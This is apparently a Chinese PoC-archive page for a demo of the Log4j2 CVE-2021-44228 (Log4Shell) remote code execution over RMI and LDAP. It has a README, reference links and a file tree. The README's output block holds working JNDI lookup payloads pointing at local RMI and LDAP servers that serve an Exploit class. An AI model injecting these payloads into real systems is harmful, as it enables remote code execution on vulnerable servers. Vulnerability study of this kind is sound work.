关联漏洞
描述
Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP
介绍
# CVE-2021-44228-Demo
利用 CVE-2021-44228,通过 RMI 和 LDAP 两种方式远程注入代码的示例。

```
Exploit class from RMI Server loaded
Hello, ${jndi:rmi://127.0.0.1:1099/exploit}
Exploit class from LDAP Server loaded
Hello, ${jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit}
```
RmiServer 和 LdapServer 启动依赖 Python3。
## 参考
- [Apache Log4j2远程代码执行漏洞复现](https://zhuanlan.zhihu.com/p/443689489)
- [Log4j高危漏洞!具体原因解析!全网第一!](https://www.bilibili.com/video/BV1FL411E7g3) 和 [Log4j高危漏洞 (补充视频)](https://www.bilibili.com/video/BV18U4y1K72L/)
- [Log4j Lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html)
- [Apache Log4j2从RCE到RC1绕过](https://xz.aliyun.com/t/10649)
- [tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce](https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce)
- [PSA: Log4Shell and the current state of JNDI injection](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
文件快照
[4.0K] /data/pocs/3b9827f014cc9e9b1edc011a4bae94e447afd641
├── [4.0K] ldap-server
│ ├── [ 663] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] java
│ └── [4.0K] org
│ └── [4.0K] mazhuang
│ └── [4.0K] ldap
│ ├── [ 222] Exploit.java
│ └── [1.4K] LdapServer.java
├── [1.0K] LICENSE
├── [ 749] pom.xml
├── [1.0K] README.md
├── [ 79K] result.png
├── [4.0K] rmi-server
│ ├── [ 663] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] java
│ └── [4.0K] org
│ └── [4.0K] mazhuang
│ └── [4.0K] rmi
│ ├── [ 220] Exploit.java
│ └── [1.6K] RmiServer.java
├── [4.0K] server
│ ├── [1.0K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] org
│ │ └── [4.0K] mazhuang
│ │ └── [ 852] Main.java
│ └── [4.0K] resources
│ └── [ 320] log4j2.xml
└── [4.0K] tools
└── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar
22 directories, 14 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。